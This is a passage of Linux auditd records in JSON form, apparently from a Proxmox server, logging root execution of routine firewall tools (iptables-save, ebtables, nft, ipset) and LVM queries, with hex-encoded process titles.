rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965595973,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965595.973:66271): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964884853,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964884.853:63050): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73d0e00 a1=64f8d5f90ba0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60498 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275583,"@rawstring":"node=pve type=PATH msg=audit(1781966275.583:69164): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965595962,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965595.962:66270): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964884824,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964884.824:63049): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ec030 a1=64f8d1382a70 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60497 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275583,"@rawstring":"node=pve type=PATH msg=audit(1781966275.583:69164): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965595950,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965595.950:66269): proctitle=\"ip6tables-save\""} {"@timestamp":1781964883667,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964883.667:63048): arch=c000003e syscall=59 success=yes exit=0 a0=783ff7649190 a1=783ff7d74510 a2=783ff797fb70 a3=8 items=2 ppid=60491 pid=60492 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275579,"@rawstring":"node=pve type=PATH msg=audit(1781966275.579:69163): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965595938,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965595.938:66268): proctitle=\"iptables-save\""} {"@timestamp":1781964883597,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964883.597:63047): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe25a6bd6e a1=7ffe25a6b060 a2=7ffe25a6b0b0 a3=8 items=2 ppid=60443 pid=60491 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"python3\" exe=\"/usr/bin/python3.13\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275579,"@rawstring":"node=pve type=PATH msg=audit(1781966275.579:69163): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965595930,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965595.930:66267): proctitle=69707365740073617665"} {"@timestamp":1781964883596,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964883.596:63046): arch=c000003e syscall=59 success=yes exit=0 a0=64a776108e80 a1=64a77610aee0 a2=64a77612dc30 a3=0 items=2 ppid=60443 pid=60491 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"nohup\" exe=\"/usr/bin/nohup\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275578,"@rawstring":"node=pve type=PATH msg=audit(1781966275.578:69162): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965595921,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965595.921:66266): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964883568,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964883.568:63045): arch=c000003e syscall=59 success=yes exit=0 a0=64a776105f40 a1=64a77610b630 a2=64a77612dc30 a3=0 items=2 ppid=60443 pid=60490 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"python3\" exe=\"/usr/bin/python3.13\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275578,"@rawstring":"node=pve type=PATH msg=audit(1781966275.578:69162): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965595911,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965595.911:66265): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964880999,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964880.999:63044): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60489 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275578,"@rawstring":"node=pve type=PATH msg=audit(1781966275.578:69161): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965594409,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965594.409:66264): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964880981,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964880.981:63041): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60488 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275573,"@rawstring":"node=pve type=PATH msg=audit(1781966275.573:69160): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965594375,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965594.375:66263): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964879990,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964879.990:63038): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242570 a1=637ee7242e40 a2=637ee7240ef0 a3=8 items=2 ppid=60484 pid=60486 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275573,"@rawstring":"node=pve type=PATH msg=audit(1781966275.573:69160): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965593606,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965593.606:66262): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964879989,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964879.989:63037): arch=c000003e syscall=59 success=yes exit=0 a0=637ee72539f0 a1=637ee7251390 a2=637ee7240ef0 a3=8 items=2 ppid=60484 pid=60485 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275573,"@rawstring":"node=pve type=PATH msg=audit(1781966275.573:69160): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965593606,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965593.606:66261): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964879987,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964879.987:63036): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7253340 a1=637ee7256d80 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=60483 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275566,"@rawstring":"node=pve type=PATH msg=audit(1781966275.566:69159): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965593606,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965593.606:66260): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964879031,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964879.031:63035): arch=c000003e syscall=59 success=yes exit=0 a0=64a7760fee00 a1=64a77612d320 a2=64a77612dc30 a3=8 items=2 ppid=60443 pid=60482 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"python3\" exe=\"/usr/bin/python3.13\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275566,"@rawstring":"node=pve type=PATH msg=audit(1781966275.566:69159): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965593589,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965593.589:66259): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964878239,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964878.239:63034): arch=c000003e syscall=59 success=yes exit=0 a0=64a7760f85f0 a1=64a77612d320 a2=64a77612dc30 a3=8 items=2 ppid=60443 pid=60481 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"python3\" exe=\"/usr/bin/python3.13\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275560,"@rawstring":"node=pve type=PATH msg=audit(1781966275.560:69158): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965593589,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965593.589:66258): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964877444,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964877.444:63033): arch=c000003e syscall=59 success=yes exit=0 a0=64a7760fc5c0 a1=64a77612d320 a2=64a77612dc30 a3=8 items=2 ppid=60443 pid=60480 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"python3\" exe=\"/usr/bin/python3.13\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275560,"@rawstring":"node=pve type=PATH msg=audit(1781966275.560:69158): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965593589,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965593.589:66257): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964876643,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964876.643:63032): arch=c000003e syscall=59 success=yes exit=0 a0=64a77612c190 a1=64a77612d320 a2=64a77612dc30 a3=8 items=2 ppid=60443 pid=60479 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"python3\" exe=\"/usr/bin/python3.13\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275554,"@rawstring":"node=pve type=PATH msg=audit(1781966275.554:69157): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965588583,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965588.583:66256): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964875975,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.975:63031): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60478 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275554,"@rawstring":"node=pve type=PATH msg=audit(1781966275.554:69157): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965588583,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965588.583:66255): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964875963,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.963:63028): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60477 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275547,"@rawstring":"node=pve type=PATH msg=audit(1781966275.547:69156): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965588582,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965588.582:66254): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964875881,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.881:63025): arch=c000003e syscall=59 success=yes exit=0 a0=6537a67a5b60 a1=6537a67b1b00 a2=6537a677f680 a3=5 items=2 ppid=60470 pid=60476 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275547,"@rawstring":"node=pve type=PATH msg=audit(1781966275.547:69156): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965588574,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965588.574:66253): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964875878,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.878:63024): arch=c000003e syscall=59 success=yes exit=0 a0=6537a1b96ac8 a1=7ffcb23cc3a0 a2=6537a677f680 a3=6537a1b7a24e items=2 ppid=60470 pid=60472 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275538,"@rawstring":"node=pve type=PATH msg=audit(1781966275.538:69155): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965588574,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965588.574:66252): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964875877,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.877:63023): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcb23cc360 a1=6537a67a1200 a2=6537a677f680 a3=5 items=2 ppid=60470 pid=60471 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275538,"@rawstring":"node=pve type=PATH msg=audit(1781966275.538:69155): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965588574,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965588.574:66251): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964875873,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.873:63021): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60470 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275533,"@rawstring":"node=pve type=PATH msg=audit(1781966275.533:69154): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585892,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.892:66250): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964875867,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.867:63020): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60469 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275533,"@rawstring":"node=pve type=PATH msg=audit(1781966275.533:69154): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585887,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.887:66249): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964875861,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.861:63019): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60468 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275527,"@rawstring":"node=pve type=PATH msg=audit(1781966275.527:69153): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585886,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.886:66248): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964875853,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.853:63018): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60467 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275527,"@rawstring":"node=pve type=PATH msg=audit(1781966275.527:69153): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585886,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.886:66247): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964875844,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.844:63017): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60466 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275518,"@rawstring":"node=pve type=PATH msg=audit(1781966275.518:69152): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585881,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.881:66246): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964875841,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.841:63016): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=62463a56d740 items=0 ppid=1156 pid=60465 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966275518,"@rawstring":"node=pve type=PATH msg=audit(1781966275.518:69152): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585872,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.872:66245): proctitle=\"ip6tables-save\""} {"@timestamp":1781964875839,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.839:63015): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e0600 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60465 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275512,"@rawstring":"node=pve type=PATH msg=audit(1781966275.512:69151): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585863,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.863:66244): proctitle=\"iptables-save\""} {"@timestamp":1781964875836,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.836:63014): arch=c000003e syscall=59 success=yes exit=0 a0=64a77612e9f0 a1=64a77612d350 a2=64a77612dc30 a3=8 items=2 ppid=60443 pid=60464 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts1 ses=7 comm=\"python3\" exe=\"/usr/bin/python3.13\" subj=unconfined key=\"exec\""} {"@timestamp":1781966275512,"@rawstring":"node=pve type=PATH msg=audit(1781966275.512:69151): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585852,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.852:66243): proctitle=\"ip6tables-save\""} {"@timestamp":1781964875833,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.833:63013): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc147920 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60463 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966274150,"@rawstring":"node=pve type=PATH msg=audit(1781966274.150:69150): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965585845,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965585.845:66242): proctitle=\"iptables-save\""} {"@timestamp":1781964875829,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964875.829:63012): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e2c70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60462 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966274150,"@rawstring":"node=pve type=PATH msg=audit(1781966274.150:69150): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 